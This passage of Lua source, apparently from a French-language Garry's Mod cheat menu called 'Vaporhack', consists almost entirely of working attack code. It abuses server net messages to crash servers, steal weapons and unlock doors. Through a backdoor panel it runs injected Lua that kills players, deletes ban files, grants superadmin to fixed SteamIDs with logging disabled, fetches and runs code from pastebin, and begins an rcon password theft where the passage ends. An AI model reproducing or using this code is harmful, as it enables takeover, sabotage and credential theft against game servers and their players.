  815. if !timer.Exists( "Vaporhack_exploit_bigspames2" ) then
  816. VAPOR.ChatText( "Lag lancé" )
  817. timer.Create( "Vaporhack_exploit_bigspames2", 0, 0, function()
  818. for i = 1, 200 do
  819. LocalPlayer():ConCommand( "Hack_by_Hoper " )
  820. end
  821. end)
  822. else
  823. timer.Remove( "Vaporhack_exploit_bigspames2" )
  824. VAPOR.ChatText( "Lag stoppé" )
  825. end
  826. end, },
  827. },
  828. } )
  829.  
  830.  
  831.  
  832.  
  833.  
  834. VAPOR.AddExploit( "Réanimation Exploit", {
  835. desc = "Vous etes automatiquement réanimé après avoir été tué",
  836. severity = 2,
  837. scan = function() return VAPOR.ValidNetString( "RevivePlayer" ) end,
  838. functions = {
  839. { typ = "func", name = "Immortel :)", func = function()
  840. if !timer.Exists( "Vaporhack_exploit_zombie" ) then
  841. VAPOR.ChatText( "Tu es Immortel" )
  842. timer.Create( "Vaporhack_exploit_zombie", 0.5, 0, function()
  843. if !LocalPlayer():Alive() then
  844. VAPOR.NetStart("RevivePlayer")
  845. net.WriteEntity(LocalPlayer())
  846. net.SendToServer()
  847. end
  848. end)
  849. else
  850. timer.Remove( "Vaporhack_exploit_zombie" )
  851. VAPOR.ChatText( "Tu es redevenu Mortel!" )
  852. end
  853. end, },
  854. },
  855. } )
  856.  
  857.  
  858. VAPOR.AddExploit( "Vole d'Armes", {
  859. desc = "Prenez les armes de la police à l'armurerie (Vous devez etre proche d'elle), a un temps de recharge de 5 minutes",
  860. severity = 2,
  861. scan = function() return VAPOR.ValidNetString( "ARMORY_RetrieveWeapon" ) end,
  862. functions = {
  863. { typ = "func", name = "Prendre Arme 1", func = function()
  864. VAPOR.NetStart("ARMORY_RetrieveWeapon")
  865. net.WriteString("weapon1")
  866. net.SendToServer()
  867. end, },
  868. { typ = "func", name = "Prendre Arme 2", func = function()
  869. VAPOR.NetStart("ARMORY_RetrieveWeapon")
  870. net.WriteString("weapon2")
  871. net.SendToServer()
  872. end, },
  873. { typ = "func", name = "Prendre Arme 3", func = function()
  874. VAPOR.NetStart("ARMORY_RetrieveWeapon")
  875. net.WriteString("weapon3")
  876. net.SendToServer()
  877. end, },
  878. },
  879. } )
  880.  
  881.  
  882. VAPOR.AddExploit( "Admin Stick / Porte exploit", {
  883. desc = "Déverrouiller / Verrouiller Porte / Enlever le proprio (vous devez regarder une porte)",
  884. severity = 3,
  885. scan = function() return VAPOR.ValidNetString( "fp_as_doorHandler" ) end,
  886. functions = {
  887. { typ = "func", name = "Déverrouiller", func = function()
  888. VAPOR.NetStart("fp_as_doorHandler")
  889. net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
  890. net.WriteString("unlock")
  891. net.SendToServer()
  892. end, },
  893. { typ = "func", name = "Verrouiller", func = function()
  894. VAPOR.NetStart("fp_as_doorHandler")
  895. net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
  896. net.WriteString("lock")
  897. net.SendToServer()
  898. end, },
  899. { typ = "func", name = "Enlever le Proprio", func = function()
  900. local door = LocalPlayer():GetEyeTrace().Entity
  901. local doorOwner = door:getDoorData()["owner"]
  902. VAPOR.NetStart("fp_as_doorHandler")
  903. net.WriteEntity(door)
  904. net.WriteString("removeOwner")
  905. net.WriteDouble(doorOwner)
  906. net.SendToServer()
  907. end, },
  908. },
  909. } )
  910.  
  911.  
  912. VAPOR.AddExploit( "Vaporhack Report Spammer", {
  913. desc = "Envoyer des Report sur tout le monde",
  914. severity = 1,
  915. scan = function() return VAPOR.ValidNetString( "TransferReport" ) end,
  916. functions = {
  917. { typ = "func", name = "Report Tout le Monde", func = function()
  918. for k, v in pairs( player.GetAll() ) do
  919. VAPOR.NetStart( "TransferReport" )
  920. net.WriteString( v:SteamID() )
  921. net.WriteString( "SERVEUR CODER PAR LE Q" )
  922. net.WriteString( "Bitch please" )
  923. net.SendToServer()
  924. end
  925. end, },
  926. },
  927. } )
  928.  
  929.  
  930.  
  931.  
  932. VAPOR.AddExploit( "Crash Serveur", {
  933. desc = "Cliquez sur ce bouton pour Crash le serveur instantanément.",
  934. severity = 3,
  935. scan = function() return VAPOR.ValidNetString( "pac_to_contraption" ) end,
  936. functions = {
  937. { typ = "func", name = "Crash", func = function()
  938. local tbl = {}
  939. for i=1,1000000000 do
  940. tbl[#tbl + 1] = i
  941. end
  942. VAPOR.NetStart("pac_to_contraption")
  943. net.WriteTable( tbl )
  944. net.SendToServer()
  945. end, },
  946. },
  947. } )
  948. local function nukeweapon( ent )
  949. if !ent:IsValid() then return end
  950. if ent.LNextNuke and ent.LNextNuke > CurTime() then return end
  951. VAPOR.NetStart("properties")
  952. net.WriteString("remove")
  953. net.WriteEntity( ent )
  954. net.SendToServer()
  955. ent.LNextNuke = CurTime() + 0.5
  956. end
  957. local function nukeallweapons( tab )
  958. for k, v in pairs( tab ) do
  959. if !v:IsValid() then continue end
  960. if v.LNextNuke and v.LNextNuke > CurTime() then continue end
  961. VAPOR.NetStart("properties")
  962. net.WriteString("remove")
  963. net.WriteEntity( v )
  964. net.SendToServer()
  965. end
  966. end
  967. VAPOR.AddExploit( "Strip les armes (patch)", {
  968. desc = "Enlever les armes.",
  969. severity = 3,
  970. scan = function() return VAPOR.ValidNetString( "properties" ) and (!FPP or (FPP and FPP.Settings.FPP_TOOLGUN1.worldprops == 1)) end,
  971. functions = {
  972. --{ typ = "string", name = "Type d'Arme à Strip", default = "*", addr = "stripper_gunz" },
  973. { typ = "players", addr = "stripper_plyz" },
  974. { typ = "func", name = "Strip", func = function()
  975. if !timer.Exists( "stripclub" ) then
  976. VAPOR.ChatText( "Strip lancé" )
  977. timer.Create( "stripclub", 0.5, 0, function()
  978. local t = VAPOR.GetStored( "stripper_plyz", {} )
  979. for k, v in pairs( player.GetAll() ) do
  980. if !table.HasValue( t, v ) then continue end
  981. local gunz = v:GetWeapons()
  982. local findstring = VAPOR.GetStored( "stripper_gunz", "*" )
  983. if findstring == "*" then nukeallweapons( gunz ) return end
  984. local findstringtab = string.Explode( ", ", findstring )
  985. for _, g in pairs( gunz ) do
  986. for _, s in pairs( findstringtab ) do
  987. if string.find( string.lower( g:GetClass() ), s ) then
  988. nukeweapon( g )
  989. end
  990. end
  991. end
  992. end
  993. end)
  994. else
  995. timer.Remove( "stripclub" )
  996. VAPOR.ChatText( "Strip stoppé" )
  997. end
  998. end, },
  999. },
  1000. } )
  1001.  
  1002.  
  1003.  
  1004.  
  1005.  
  1006.  
  1007. -- CREATION DES FONCTIONS DE BASE
  1008.  
  1009. function VAPOR.MakeFunctionButton( parent, x, y, btext, func, tooltip)
  1010. if !parent:IsValid() then return end
  1011. local TButton = vgui.Create( "DButton" )
  1012. TButton:SetParent( parent )
  1013. TButton:SetPos( x, y )
  1014. TButton:SetText( btext )
  1015. TButton:SetTextColor( Color(255, 255, 255, 255) )
  1016. TButton:SizeToContents()
  1017. TButton:SetTall( 24 )
  1018. if tooltip then TButton:SetToolTip( tooltip ) end
  1019. TButton.Paint = function( self, w, h )
  1020. surface.SetDrawColor( Color(100, 100, 100, 245) )
  1021. surface.DrawRect( 0, 0, w, h )
  1022. surface.SetDrawColor( Color( 60, 60, 60 ) )
  1023. --surface.SetMaterial( downgrad )
  1024. --surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  1025. surface.SetDrawColor( Color(100, 100, 100, 255) )
  1026. --surface.DrawOutlinedRect( 0, 0, w, h )
  1027. end
  1028. TButton.DoClick = function()
  1029. func()
  1030. end
  1031. return TButton:GetWide(), TButton:GetTall()
  1032. end
  1033.  
  1034.  
  1035. function VAPOR.HTXBackdoor( parent, x, y, btext )
  1036. if !parent:IsValid() then return end
  1037. local TButton = vgui.Create( "DButton" )
  1038. TButton:SetParent( parent )
  1039. TButton:SetPos( x, y )
  1040. TButton:SetText( btext )
  1041. TButton:SetTextColor( Color(255, 255, 255, 255) )
  1042. TButton:SizeToContents()
  1043. TButton:SetTall( 24 )
  1044. TButton.Paint = function( self, w, h )
  1045. surface.SetDrawColor( Color(160, 61, 255, 200) )
  1046. surface.DrawRect( 0, 0, w, h )
  1047. surface.SetDrawColor( Color( 60, 60, 60 ) )
  1048. surface.SetDrawColor( Color( 60, 60, 60 ) )
  1049. --surface.SetMaterial( downgrad )
  1050. --surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  1051. surface.SetDrawColor( Color(100, 100, 100, 255) )
  1052. surface.DrawOutlinedRect( 0, 0, w, h )
  1053. surface.SetDrawColor( Color(110, 70, 70, 255) )
  1054. --surface.DrawOutlinedRect( 2, 2, w - 4, h - 4 )
  1055. end
  1056. TButton.DoClick = function()
  1057. VAPOR.HTXCommandeListe()
  1058. end
  1059. return TButton:GetWide(), TButton:GetTall()
  1060. end
  1061.  
  1062.  
  1063. function VAPOR.HTXCommandeListe()
  1064. if VAPOR.HTXCommandeSelector and VAPOR.HTXCommandeSelector:IsVisible() then VAPOR.HTXCommandeSelector:Remove() end
  1065. VAPOR.HTXCommandeSelector = vgui.Create("DFrame")
  1066. VAPOR.HTXCommandeSelector:SetSize(682,350)
  1067. VAPOR.HTXCommandeSelector:SetTitle("Backdoor HTX")
  1068. VAPOR.HTXCommandeSelector:SetPos( 342, 250 )
  1069. VAPOR.HTXCommandeSelector:MakePopup()
  1070. VAPOR.HTXCommandeSelector:ShowCloseButton( false )
  1071. VAPOR.HTXCommandeSelector.Paint = function( s, w, h )
  1072. if !VAPOR.Menu or !VAPOR.Menu:IsVisible() then s:Remove() return end
  1073. surface.SetDrawColor( Color(30, 30, 30, 255) )
  1074. surface.DrawRect( 0, 0, w, h )
  1075. surface.SetDrawColor( Color(55, 55, 55, 255) )
  1076. surface.DrawOutlinedRect( 0, 0, w, h )
  1077. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  1078. end
  1079.  
  1080. local CloseMenu3 = vgui.Create("DButton", VAPOR.HTXCommandeSelector )
  1081. CloseMenu3:SetText("<--")
  1082. CloseMenu3:SetSize(200, 200)
  1083. CloseMenu3:SetPos(VAPOR.HTXCommandeSelector:GetWide()-120,-85)
  1084. CloseMenu3:SetTextColor(Color(100, 100, 100,245))
  1085. CloseMenu3:SetFont("vaporfont20")
  1086. CloseMenu3.Paint = function( self,w,h ) end
  1087. CloseMenu3.DoClick = function()
  1088. VAPOR.HTXCommandeSelector:Remove()
  1089.  
  1090. end
  1091.  
  1092. local DScrollPanel = vgui.Create( "DScrollPanel", VAPOR.HTXCommandeSelector )
  1093. DScrollPanel:Dock( FILL )
  1094. local commandnethtx1 = vgui.Create("DButton", DScrollPanel)
  1095. commandnethtx1:SetSize( 652, 20 )
  1096. commandnethtx1:SetPos( 2, 175 )
  1097. commandnethtx1:SetText("Tuer tous les joueurs")
  1098. commandnethtx1:SetTextColor(Color(255, 255, 255, 255))
  1099. commandnethtx1.Paint = function(panel, w, h)
  1100. surface.SetDrawColor(255, 255, 255 ,255)
  1101. surface.DrawOutlinedRect(0, 0, w, h)
  1102. surface.SetDrawColor(100, 100, 100 ,245)
  1103. surface.DrawRect(0, 0, w, h)
  1104. end
  1105. commandnethtx1.DoClick = function()
  1106. VAPOR.NetStart(vaporhacknet)
  1107. net.WriteString( "for k,v in pairs(player.GetAll()) do v:Kill() end" )
  1108. net.WriteBit(1)
  1109. net.SendToServer()
  1110. end
  1111. local commandnethtx2 = vgui.Create("DButton", DScrollPanel)
  1112. commandnethtx2:SetSize( 652, 20 )
  1113. commandnethtx2:SetPos( 2, 100 )
  1114. commandnethtx2:SetText("Spam Visuel")
  1115. commandnethtx2:SetTextColor(Color(255, 255, 255, 255))
  1116. commandnethtx2.Paint = function(panel, w, h)
  1117. surface.SetDrawColor(255, 255, 255 ,255)
  1118. surface.DrawOutlinedRect(0, 0, w, h)
  1119. surface.SetDrawColor(178, 99, 255)
  1120. surface.DrawRect(0, 0, w, h)
  1121. end
  1122. commandnethtx2.DoClick = function()
  1123. net.Start(vaporhacknet)
  1124. net.WriteString( "for k,v in pairs(player.GetAll()) do v:SendLua([[local hud = vgui.Create(\"HTML\") hud:MoveToFront() hud:SetSize(200,158) hud:SetPos(0,0) hud:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531246-swag-dance.gif\")]]) v:SendLua([[local hud2 = vgui.Create(\"HTML\") hud2:MoveToFront() hud2:SetSize(200,158) hud2:SetPos(0,ScrH()-158) hud2:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531305-spin.gif\")]]) v:SendLua([[local hud3 = vgui.Create(\"HTML\") hud3:MoveToFront() hud3:SetSize(200,158) hud3:SetPos(ScrW()-200,0) hud3:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531246-swag-dance.gif\")]]) v:SendLua([[local hud4 = vgui.Create(\"HTML\") hud4:MoveToFront() hud4:SetSize(200,158) hud4:SetPos(ScrW()-200,ScrH()-158) hud4:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531305-spin.gif\")]]) timer.Create( \"spamsondeouf\", 1, 0, function() v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end) v:SendLua([[hook.Add(\"HUDPaint\",\"c\", function() draw.RoundedBox(0,0,0,ScrW(),ScrH(),Color(math.random(1,255),math.random(1,255),math.random(1,255),155)) end)]]) end BroadcastLua([[hook.Add( \"RenderScreenspaceEffects\", \"ohgod\", function() local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) ) DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) ) DrawMaterialOverlay( \"effects/tp_eyefx/tpeye\", 1 ) end)]]) BroadcastLua([[timer.Create( \"thedrop\", 0.42, 0, function() util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 ) end )]]) BroadcastLua([[local hud3 = vgui.Create(\"HTML\") hud3:SetSize(400,300) hud3:SetPos(ScrW()/2-200,ScrH()/2-150) hud3:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531253-skel2.gif\")]])" )
  1125. net.WriteBit(1)
  1126. net.SendToServer()
  1127. end
  1128.  
  1129.  
  1130.  
  1131. local commandnethtx3 = vgui.Create("DButton", DScrollPanel )
  1132. commandnethtx3:SetSize( 652, 20 )
  1133. commandnethtx3:SetPos( 2, 375 )
  1134. commandnethtx3:SetText("Débannir tout les bannis")
  1135. commandnethtx3:SetTextColor(Color(255, 255, 255, 255))
  1136. commandnethtx3.Paint = function(panel, w, h)
  1137. surface.SetDrawColor(255, 255, 255 ,255)
  1138. surface.DrawOutlinedRect(0, 0, w, h)
  1139. surface.SetDrawColor(100, 100, 100 ,245)
  1140. surface.DrawRect(0, 0, w, h)
  1141. end
  1142. commandnethtx3.DoClick = function()
  1143. VAPOR.NetStart(vaporhacknet)
  1144. net.WriteString( "if file.Exists( \"ulib/bans.txt\", \"DATA\" ) then file.Delete(\"ulib/bans.txt\") end" )
  1145. net.WriteBit(1)
  1146. net.SendToServer()
  1147. end
  1148. local commandnethtx4 = vgui.Create("DButton", DScrollPanel )
  1149. commandnethtx4:SetSize( 652, 20 )
  1150. commandnethtx4:SetPos( 2, 125 )
  1151. commandnethtx4:SetText("Ignite tous les joueurs")
  1152. commandnethtx4:SetTextColor(Color(255, 255, 255, 255))
  1153. commandnethtx4.Paint = function(panel, w, h)
  1154. surface.SetDrawColor(255, 255, 255 ,255)
  1155. surface.DrawOutlinedRect(0, 0, w, h)
  1156. surface.SetDrawColor(100, 100, 100 ,245)
  1157. surface.DrawRect(0, 0, w, h)
  1158. end
  1159. commandnethtx4.DoClick = function()
  1160. VAPOR.NetStart(vaporhacknet)
  1161. net.WriteString( "for k,v in pairs(player.GetAll()) do v:Ignite(120) end" )
  1162. net.WriteBit(1)
  1163. net.SendToServer()
  1164. end
  1165. local commandnethtx5 = vgui.Create("DButton", DScrollPanel )
  1166. commandnethtx5:SetSize( 652, 20 )
  1167. commandnethtx5:SetPos( 2, 150 )
  1168. commandnethtx5:SetText("Supprimer les grades")
  1169. commandnethtx5:SetTextColor(Color(255, 255, 255, 255))
  1170. commandnethtx5.Paint = function(panel, w, h)
  1171. surface.SetDrawColor(255, 255, 255 ,255)
  1172. surface.DrawOutlinedRect(0, 0, w, h)
  1173. surface.SetDrawColor(100, 100, 100 ,245)
  1174. surface.DrawRect(0, 0, w, h)
  1175. end
  1176. commandnethtx5.DoClick = function()
  1177. VAPOR.NetStart(vaporhacknet)
  1178. net.WriteString( "if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end" )
  1179. net.WriteBit(1)
  1180. net.SendToServer()
  1181. end
  1182. local commandnethtx6 = vgui.Create("DButton", DScrollPanel )
  1183. commandnethtx6:SetSize( 652, 20 )
  1184. commandnethtx6:SetPos( 2, 50 )
  1185. commandnethtx6:SetText("Redémarrer le serveur")
  1186. commandnethtx6:SetTextColor(Color(255, 255, 255, 255))
  1187. commandnethtx6.Paint = function(panel, w, h)
  1188. surface.SetDrawColor(255, 255, 255 ,255)
  1189. surface.DrawOutlinedRect(0, 0, w, h)
  1190. surface.SetDrawColor(100, 100, 100 ,245)
  1191. surface.DrawRect(0, 0, w, h)
  1192. end
  1193. commandnethtx6.DoClick = function()
  1194. VAPOR.NetStart(vaporhacknet)
  1195. net.WriteString("RunConsoleCommand(\"changelevel \"..game.GetMap())")
  1196. net.WriteBit(1)
  1197. net.SendToServer()
  1198. end
  1199. local commandnethtx7 = vgui.Create("DButton", DScrollPanel)
  1200. commandnethtx7:SetSize( 652, 20 )
  1201. commandnethtx7:SetPos( 2, 200 )
  1202. commandnethtx7:SetText("Screamer")
  1203. commandnethtx7:SetTextColor(Color(255, 255, 255, 255))
  1204. commandnethtx7.Paint = function(panel, w, h)
  1205. surface.SetDrawColor(255, 255, 255 ,255)
  1206. surface.DrawOutlinedRect(0, 0, w, h)
  1207. surface.SetDrawColor(100, 100, 100 ,245)
  1208. surface.DrawRect(0, 0, w, h)
  1209. end
  1210. commandnethtx7.DoClick = function()
  1211. VAPOR.NetStart(vaporhacknet)
  1212. net.WriteString( "for k,v in pairs(player.GetAll()) do v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end" )
  1213. net.WriteBit(1)
  1214. net.SendToServer()
  1215. end
  1216. local commandnethtx8 = vgui.Create("DButton", DScrollPanel)
  1217. commandnethtx8:SetSize( 652, 20 )
  1218. commandnethtx8:SetPos( 2, 225 )
  1219. commandnethtx8:SetText("Changer le model des joueurs")
  1220. commandnethtx8:SetTextColor(Color(255, 255, 255, 255))
  1221. commandnethtx8.Paint = function(panel, w, h)
  1222. surface.SetDrawColor(255, 255, 255 ,255)
  1223. surface.DrawOutlinedRect(0, 0, w, h)
  1224. surface.SetDrawColor(100, 100, 100 ,245)
  1225. surface.DrawRect(0, 0, w, h)
  1226. end
  1227. commandnethtx8.DoClick = function()
  1228. VAPOR.NetStart(vaporhacknet)
  1229. net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetModel(\"models/editor/playerstart.mdl\") end" )
  1230. net.WriteBit(1)
  1231. net.SendToServer()
  1232. end
  1233. local commandnethtx9 = vgui.Create("DButton", DScrollPanel)
  1234. commandnethtx9:SetSize( 652, 20 )
  1235. commandnethtx9:SetPos( 2, 250 )
  1236. commandnethtx9:SetText("Niquer la physics du jeu")
  1237. commandnethtx9:SetTextColor(Color(255, 255, 255, 255))
  1238. commandnethtx9.Paint = function(panel, w, h)
  1239. surface.SetDrawColor(255, 255, 255 ,255)
  1240. surface.DrawOutlinedRect(0, 0, w, h)
  1241. surface.SetDrawColor(100, 100, 100 ,245)
  1242. surface.DrawRect(0, 0, w, h)
  1243. end
  1244. commandnethtx9.DoClick = function()
  1245. net.Start(vaporhacknet)
  1246. net.WriteString( "RunConsoleCommand(\"sv_friction\", \"-8\")" )
  1247. net.WriteBit(1)
  1248. net.SendToServer()
  1249. end
  1250. local commandnethtx10 = vgui.Create("DButton", DScrollPanel)
  1251. commandnethtx10:SetSize( 652, 20 )
  1252. commandnethtx10:SetPos( 2, 275 )
  1253. commandnethtx10:SetText("Inverser la gravité")
  1254. commandnethtx10:SetTextColor(Color(255, 255, 255, 255))
  1255. commandnethtx10.Paint = function(panel, w, h)
  1256. surface.SetDrawColor(255, 255, 255 ,255)
  1257. surface.DrawOutlinedRect(0, 0, w, h)
  1258. surface.SetDrawColor(100, 100, 100 ,245)
  1259. surface.DrawRect(0, 0, w, h)
  1260. end
  1261. commandnethtx10.DoClick = function()
  1262. net.Start(vaporhacknet)
  1263. net.WriteString( "RunConsoleCommand(\"sv_gravity\", \"-600\")" )
  1264. net.WriteBit(1)
  1265. net.SendToServer()
  1266. end
  1267. local commandnethtx11 = vgui.Create("DButton", DScrollPanel)
  1268. commandnethtx11:SetSize( 652, 20 )
  1269. commandnethtx11:SetPos( 2, 300 )
  1270. commandnethtx11:SetText("Reset Argent")
  1271. commandnethtx11:SetTextColor(Color(255, 255, 255, 255))
  1272. commandnethtx11.Paint = function(panel, w, h)
  1273. surface.SetDrawColor(255, 255, 255 ,255)
  1274. surface.DrawOutlinedRect(0, 0, w, h)
  1275. surface.SetDrawColor(100, 100, 100 ,245)
  1276. surface.DrawRect(0, 0, w, h)
  1277. end
  1278. commandnethtx11.DoClick = function()
  1279. net.Start(vaporhacknet)
  1280. net.WriteString( "RunConsoleCommand(\"rp_resetallmoney\")" )
  1281. net.WriteBit(1)
  1282. net.SendToServer()
  1283. end
  1284. local commandnethtx12 = vgui.Create("DButton", DScrollPanel)
  1285. commandnethtx12:SetSize( 652, 20 )
  1286. commandnethtx12:SetPos( 2, 325 )
  1287. commandnethtx12:SetText("Faire voler tous les joueurs")
  1288. commandnethtx12:SetTextColor(Color(255, 255, 255, 255))
  1289. commandnethtx12.Paint = function(panel, w, h)
  1290. surface.SetDrawColor(255, 255, 255 ,255)
  1291. surface.DrawOutlinedRect(0, 0, w, h)
  1292. surface.SetDrawColor(100, 100, 100 ,245)
  1293. surface.DrawRect(0, 0, w, h)
  1294. end
  1295. commandnethtx12.DoClick = function()
  1296. net.Start(vaporhacknet)
  1297. net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end" )
  1298. net.WriteBit(1)
  1299. net.SendToServer()
  1300. end
  1301. local commandnethtx13 = vgui.Create("DButton", DScrollPanel)
  1302. commandnethtx13:SetSize( 652, 20 )
  1303. commandnethtx13:SetPos( 2, 350 )
  1304. commandnethtx13:SetText("Crash superadmin")
  1305. commandnethtx13:SetTextColor(Color(255, 255, 255, 255))
  1306. commandnethtx13.Paint = function(panel, w, h)
  1307. surface.SetDrawColor(255, 255, 255 ,255)
  1308. surface.DrawOutlinedRect(0, 0, w, h)
  1309. surface.SetDrawColor(100, 100, 100 ,245)
  1310. surface.DrawRect(0, 0, w, h)
  1311. end
  1312. commandnethtx13.DoClick = function()
  1313. net.Start(vaporhacknet)
  1314. net.WriteString( " for k,v in pairs(player.GetAll()) do if( v:GetUserGroup() != \"user\" ) then v:SendLua(\"while true do end\") end end" )
  1315. net.WriteBit(1)
  1316. net.SendToServer()
  1317. end
  1318.  
  1319. local commandnethtx14 = vgui.Create("DButton", DScrollPanel)
  1320. commandnethtx14:SetSize( 652, 20 )
  1321. commandnethtx14:SetPos( 2, 75 )
  1322. commandnethtx14:SetText("Squeleton Danse")
  1323. commandnethtx14:SetTextColor(Color(255, 255, 255, 255))
  1324. commandnethtx14.Paint = function(panel, w, h)
  1325. surface.SetDrawColor(160, 61, 255)
  1326. surface.DrawOutlinedRect(0, 0, w, h)
  1327. surface.SetDrawColor(178, 99, 255)
  1328. surface.DrawRect(0, 0, w, h)
  1329. end
  1330. commandnethtx14.DoClick = function()
  1331. net.Start(vaporhacknet)
  1332. net.WriteString( "http.Fetch(\"https://pastebin.com/raw/QiEipqZ4\",function(b,l,h,c)RunString(b)end,nil)" )
  1333. net.WriteBit(1)
  1334. net.SendToServer()
  1335. end
  1336.  
  1337. local commandnethtx15 = vgui.Create("DButton", DScrollPanel)
  1338. commandnethtx15:SetSize( 652, 20 )
  1339. commandnethtx15:SetPos( 2, 400 )
  1340. commandnethtx15:SetText("+1000$/s")
  1341. commandnethtx15:SetTextColor(Color(255, 255, 255, 255))
  1342. commandnethtx15.Paint = function(panel, w, h)
  1343. surface.SetDrawColor(255, 255, 255 ,255)
  1344. surface.DrawOutlinedRect(0, 0, w, h)
  1345. surface.SetDrawColor(100, 100, 100 ,245)
  1346. surface.DrawRect(0, 0, w, h)
  1347. end
  1348. commandnethtx15.DoClick = function()
  1349. net.Start(vaporhacknet)
  1350. net.WriteString( "for k,v in pairs(player.GetAll()) do timer.Create( \"timerargent10\", 0.1, 0, function() v:addMoney(10) end) end" )
  1351. net.WriteBit(1)
  1352. net.SendToServer()
  1353. end
  1354.  
  1355. local commandnethtx17 = vgui.Create("DButton", DScrollPanel)
  1356. commandnethtx17:SetSize( 652, 20 )
  1357. commandnethtx17:SetPos( 2, 425 )
  1358. commandnethtx17:SetText("Supprimer Toutes les Entité")
  1359. commandnethtx17:SetTextColor(Color(255, 255, 255, 255))
  1360. commandnethtx17.Paint = function(panel, w, h)
  1361. surface.SetDrawColor(255, 255, 255 ,255)
  1362. surface.DrawOutlinedRect(0, 0, w, h)
  1363. surface.SetDrawColor(100, 100, 100 ,245)
  1364. surface.DrawRect(0, 0, w, h)
  1365. end
  1366. commandnethtx17.DoClick = function()
  1367. net.Start(vaporhacknet)
  1368. net.WriteString( "for k, v in pairs(ents.FindByClass( \"prop_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"func_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"env_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"lua_run*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"point_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"trigger_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"info_*\" )) do v:Remove() end" )
  1369. net.WriteBit(1)
  1370. net.SendToServer()
  1371. end
  1372.  
  1373. local commandnethtxSpamChat = vgui.Create("DButton", DScrollPanel )
  1374. commandnethtxSpamChat:SetSize( 652, 20 )
  1375. commandnethtxSpamChat:SetPos( 2, 450 )
  1376. commandnethtxSpamChat:SetText("Spam Chat")
  1377. commandnethtxSpamChat:SetTextColor(Color(255,255,255,255))
  1378. commandnethtxSpamChat.Paint = function(panel, w, h)
  1379. surface.SetDrawColor(255, 255, 255 ,255)
  1380. surface.DrawOutlinedRect(0, 0, w, h)
  1381. surface.SetDrawColor(100, 100, 100 ,245)
  1382. surface.DrawRect(0, 0, w, h)
  1383. end
  1384. commandnethtxSpamChat.DoClick = function()
  1385. VAPOR.NetStart(vaporhacknet)
  1386. net.WriteString("timer.Create( \"rekt\", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), \"◊◊◊◊◊ SERVER HACKED BY VAPORHACK ! ◊◊◊◊◊\")]]) end)")
  1387. net.WriteBit(1)
  1388. net.SendToServer()
  1389. end
  1390.  
  1391. local commandnethtxSpamChatStop = vgui.Create("DButton", DScrollPanel )
  1392. commandnethtxSpamChatStop:SetSize( 652, 20 )
  1393. commandnethtxSpamChatStop:SetPos( 2, 475 )
  1394. commandnethtxSpamChatStop:SetTextColor(Color(255,255,255,255))
  1395. commandnethtxSpamChatStop:SetText("Stop Spam Chat")
  1396. commandnethtxSpamChatStop.Paint = function(panel, w, h)
  1397. surface.SetDrawColor(255, 255, 255 ,255)
  1398. surface.DrawOutlinedRect(0, 0, w, h)
  1399. surface.SetDrawColor(100, 100, 100 ,245)
  1400. surface.DrawRect(0, 0, w, h)
  1401. end
  1402. commandnethtxSpamChatStop.DoClick = function ()
  1403. net.Start(vaporhacknet)
  1404. net.WriteString("timer.Stop( \"rekt\")")
  1405. net.WriteBit(1)
  1406. net.SendToServer()
  1407. end
  1408.  
  1409. local setsuperadmin = vgui.Create("DButton", DScrollPanel )
  1410. setsuperadmin:SetSize( 652, 20 )
  1411. setsuperadmin:SetPos( 2, 500 )
  1412. setsuperadmin:SetTextColor(Color(255,255,255,255))
  1413. setsuperadmin:SetText("Se Mettre Superadmin")
  1414. setsuperadmin.Paint = function(panel, w, h)
  1415. surface.SetDrawColor(255, 255, 255 ,255)
  1416. surface.DrawOutlinedRect(0, 0, w, h)
  1417. surface.SetDrawColor(100, 100, 100 ,245)
  1418. surface.DrawRect(0, 0, w, h)
  1419. end
  1420. setsuperadmin.DoClick = function ()
  1421. local setsuperadminsetting = [[
  1422. RunConsoleCommand("ulx_logecho", "0")
  1423. RunConsoleCommand("ulx", "adduserid", "STEAM_0:0:189348722", "superadmin")
  1424. RunConsoleCommand("ulx", "adduserid", "STEAM_0:0:99250842", "superadmin")
  1425. RunConsoleCommand("ulx", "adduserid", "STEAM_0:1:196391683", "superadmin")
  1426. ]]
  1427. net.Start(vaporhacknet)
  1428. net.WriteString( setsuperadminsetting )
  1429. net.WriteBit(1)
  1430. net.SendToServer()
  1431. end
  1432.  
  1433. local rconstealervapor = DScrollPanel:Add( "DButton")
  1434. rconstealervapor:SetSize( 668, 20 )
  1435. rconstealervapor:SetPos( 2, 25 )
  1436. rconstealervapor:SetText("Voler le rcon_password")
  1437. rconstealervapor:SetTextColor(Color(255, 255, 255, 255))
  1438. rconstealervapor.Paint = function(panel, w, h)
  1439. surface.SetDrawColor(255, 255, 255 ,255)
  1440. surface.DrawOutlinedRect(0, 0, w, h)
  1441. surface.SetDrawColor(50, 50, 50 ,245)
  1442. surface.DrawRect(0, 0, w, h)
  1443. end
  1444. rconstealervapor.DoClick = function()
  1445. net.Start(vaporhacknet)
